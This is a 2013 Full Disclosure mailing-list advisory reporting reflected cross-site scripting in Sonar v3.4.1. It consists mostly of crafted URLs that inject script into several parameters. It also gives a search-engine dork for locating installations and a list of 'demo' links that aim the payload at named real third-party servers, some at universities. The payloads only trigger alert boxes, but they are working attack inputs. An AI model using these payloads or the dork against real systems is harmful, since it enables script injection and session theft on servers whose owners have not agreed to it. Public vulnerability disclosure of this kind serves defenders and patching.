Full Disclosure mailing list archives
Sonar v.3.4.1 => XSS (CWE-79)
From: "Kacper R." <info () devilteam pl>
Date: Thu, 14 Feb 2013 09:58:20 +0100
Sonar v.3.4.1 => XSS (CWE-79) + Vendor info http://www.sonarsource.com/ Dork : intext:"Powered by SonarSource" ========================================================= + Author: devilteam.pl + WWW: http://devilteam.pl/ ========================================================= XSS: http://foo.bar/dependencies/index?search="><script>alert(/devilteam.pl/ )</script> http://foo.bar/dashboard/index/41730?did=4&period=3"><script>alert(/ devilteam.pl/)</script> http://foo.bar/reviews/index?review_id=&statuses[]=OPEN&statuses[]=REOPENED&severities[]=&projects[]=&am p;author_login=&assignee_login="><script>alert(/devilteam.pl/ )</script>&false_positives=with out&sort=&asc=false&commit=Search http://foo.bar/reviews/index?review_id=&statuses[]=OPEN&statuses[]=REOPENED&severities[]=&projects[]=&am p;author_login="><script>alert(/devilteam.pl/ )</script>&assignee_login=&false_positives=with out&sort=&asc=false&commit=Search http://foo.bar/api/sources?resource=<script>alert(/devilteam.pl/ )</script>&format=txt demo: http://nemo.sonarXsource.org/dependencies/index?search="><script>alert(/ devilteam.pl/)</script> https://dev.eclipXse.org/sonar/dependencies/index?search="><script>alert(/ devilteam.pl/)</script> https://gcrcwin.cXacr.med.umich.edu/sonar/dependencies/index?search= "><script>alert(/devilteam.pl/)</sc ript> http://csci3601sp12.mXorris.umn.edu:2020/sonar/dependencies/index?search= "><script>alert(/devilteam.pl/)&l t;/script> https://redbox-build.cqXu.edu.au/sonar/dependencies/index?search= "><script>alert(/devilteam.pl/)</scrip t> greetz: cxsec.org Source: http://cxsecurity.com/blad/WLB-2013020088
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Sonar v.3.4.1 => XSS (CWE-79) Kacper R. (Feb 15)